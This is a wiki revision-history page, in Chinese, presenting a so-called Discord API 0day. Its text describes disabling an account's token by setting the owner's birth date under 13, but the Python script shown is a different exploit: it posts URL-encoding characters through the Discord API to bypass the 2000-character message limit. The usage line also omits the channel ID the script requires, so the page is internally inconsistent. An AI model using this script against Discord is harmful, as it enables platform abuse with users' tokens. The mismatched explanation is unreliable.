FuzzyBot: Updating to match new version of source page

2021-04-11T09:16:18Z

Updating to match new version of source page

FuzzyBot: 正在更新來源頁面以與新版本相符

2021-03-06T07:46:00Z

正在更新來源頁面以與新版本相符

New page

{| style="margin: auto; width: 750px;"
| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" |
{| cellspacing="2px"
| valign="middle" | [[Image:Hand.png|50px]]
| 這個頁面需要補充，如果您了解該內容，請直接編輯詞條。
|}
|}
<br><noinclude>

==漏洞原理：==
將賬戶的出生日期設置爲小於13歲以禁用Token，因爲Discord會自動禁用所有者小於13歲的賬戶。

請注意，已經設置DoB的賬戶不受到此漏洞影響。

==EXP:==
Usage:
<pre>
py example.py <token>
</pre>

<pre>
# Name: 2000 Characters Limit Bypass
# Description: Sends an URI that contains characters that gets URL encoded when sent, which increases the length of the message.
# Author: checksum (@0daySkid)
# Original founder: Siaxos

import requests
import random
import sys

class Exploit:

def __init__(self, token, channel):
self.token = token
self.channel_id = channel
self.headers = {'Authorization': token}

@property
def uri(self):
chars = ''.join(random.choice('\'"^`|{}') for _ in range(1993))
return f'<a://a{chars}>'

def execute(self):
""" send magical URI """
return requests.post(f'https://discordapp.com/api/v6/channels/{self.channel_id}/messages', headers=self.headers, json={'content': self.uri})

def main():
if len(sys.argv) < 3:
print(f'Usage: py {sys.argv[0]} <token> <channel id>')
sys.exit()

token = sys.argv[1]
channel_id = sys.argv[2]

exploit = Exploit(token, channel_id)

exploit.execute()

if __name__ == '__main__':
main()
</pre>

==作者：==
原始作者未知。

@@ Line 1: / Line 1: @@
 {| style="margin: auto; width: 750px;"
 | style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" |
@@ Line 16: / Line 18: @@
 Usage:
 <pre>
-py example.py <token>
+python example.py <token>
 </pre>
@@ Line 62: / Line 64: @@
      main()
 </pre>
 ==作者：==
 原始作者未知。

Discord API濫用0day/zh-tw - Revision history

FuzzyBot: Updating to match new version of source page

FuzzyBot: 正在更新來源頁面以與新版本相符